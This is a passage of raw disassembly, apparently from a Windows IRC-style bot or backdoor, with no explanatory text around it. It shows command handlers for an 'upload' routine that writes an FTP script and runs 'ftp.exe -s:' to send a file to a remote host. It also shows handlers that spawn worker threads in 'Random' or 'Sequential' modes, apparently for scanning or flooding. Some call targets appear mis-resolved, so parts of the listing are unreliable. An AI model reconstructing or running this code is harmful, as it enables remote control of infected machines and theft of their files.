--------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj nop call near ptr 26807C8h push eax push offset unk_42A70C loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A6CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A6A4 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A634 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A604 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431438, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431438 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431438[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A59C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB030 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A534 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 2670F10h jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 26807C8h push eax push offset unk_42A4FC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A4AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2670F10h nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj call near ptr 26807C8h nop push eax push offset unk_42A470 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A464 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFE4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2670F10h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 26807C8h push eax push offset unk_42A4FC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A3CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2670F10h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 26807C8h push eax push offset unk_42A388 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A35C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2670F10h nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 26807C8h push eax push offset unk_42A31C jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 2670F10h nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 26807C8h push eax push offset unk_42A2A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A278 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call near ptr 2670F10h nop jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 26807C8h push eax push offset unk_42A240 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A210 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2670F10h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 26807C8h push eax push offset unk_42A1D8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A1A8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 2670F10h jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 26807C8h push eax push offset dword_42A16C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A140 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2670F10h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 26807C8h push eax push offset unk_42A108 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call near ptr 26A0C32h nop test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A0AC push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A0A0 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A070 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2670F10h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 26807C8h push eax push offset unk_42A034 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov 